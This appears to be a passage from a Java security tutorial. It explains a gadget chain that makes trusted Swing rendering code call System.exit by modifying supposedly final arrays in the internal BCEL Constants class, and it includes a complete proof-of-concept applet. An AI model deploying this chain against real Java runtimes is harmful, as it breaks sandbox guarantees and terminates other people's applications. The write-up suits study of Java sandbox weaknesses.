The idea is to create a chain from an object's toString() method to com.sun.org.apache.bcel.internal.classfile.Utility.codeToString(), which has this confusing switch statement:
That logic relies on a bunch of final arrays from a class named Constant. In Java Security 101 we learn that the data in final arrays isn't final at all, and so in this case the data can be modified in such a way that the execution reaches the impossible-to-reach block which calls System.exit. Now all that remains is getting trusted code to call the above piece of code. The chain to do that is as follows:
-Have the GUI draw an instance of com.sun.org.apache.bcel.internal.classfile.Code, calling the toString() method of the object
-The toString() method calls Utility.codeToString()
-Utility.codeToString() has the above piece of code
The code to do that:
001 package ex6.chaining.systemexit;
002
003 import java.applet.Applet;
004
005 import javax.swing.JList;
006
007 import com.sun.org.apache.bcel.internal.Constants;
008 import com.sun.org.apache.bcel.internal.classfile.Attribute;
009 import com.sun.org.apache.bcel.internal.classfile.Code;
010 import com.sun.org.apache.bcel.internal.classfile.CodeException;
011 import com.sun.org.apache.bcel.internal.classfile.Constant;
012 import com.sun.org.apache.bcel.internal.classfile.ConstantPool;
013
014 public class Example extends Applet {
015 public void start() {
016 // modify the final array elements
017 Constants.NO_OF_OPERANDS[0] = 1;
018 Constants.TYPE_OF_OPERANDS[0] = new short[1];
019 byte[] codebytes = new byte[] {0, 0, 0};
020 Code code = new Code(1, 1, 0, 0, codebytes, new CodeException[0], new Attribute[0], new ConstantPool(new Constant[0]));
021 JList list = new JList(new Object[] {code});
022 this.add(list);
023 }
024 }